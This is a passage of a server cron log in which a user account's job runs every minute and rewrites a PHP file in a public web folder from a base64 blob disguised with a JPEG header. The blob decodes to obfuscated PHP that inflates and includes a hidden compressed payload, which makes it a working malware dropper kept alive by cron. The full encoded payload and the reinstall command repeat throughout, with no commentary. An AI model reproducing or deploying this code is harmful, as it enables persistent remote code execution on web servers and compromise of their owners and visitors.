JRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:50:01 server CROND[20043]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:50:01 server CROND[20044]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 20:50:01 server CROND[20045]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 20:50:01 server CROND[20047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:50:01 server CROND[20048]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:51:01 server CROND[20166]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:52:01 server CROND[20333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:53:01 server CROND[20396]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:54:01 server CROND[20446]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:55:01 server CROND[20499]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 20:55:01 server CROND[20500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 20:55:01 server CROND[20498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:56:01 server CROND[20625]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:57:01 server CROND[20777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:57:01 server CROND[20778]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 20:58:01 server CROND[20829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 20:59:01 server CROND[20876]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:00:01 server CROND[20954]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 21:00:01 server CROND[20955]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 21:00:01 server CROND[20956]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:00:01 server CROND[20957]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 21:01:01 server CROND[21099]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 21:01:01 server CROND[21098]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:01:01 server run-parts(/etc/cron.hourly)[21099]: starting 0anacron
Apr  9 21:01:01 server run-parts(/etc/cron.hourly)[21112]: finished 0anacron
Apr  9 21:02:01 server CROND[21272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 21:03:01 server CROND[21328]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLC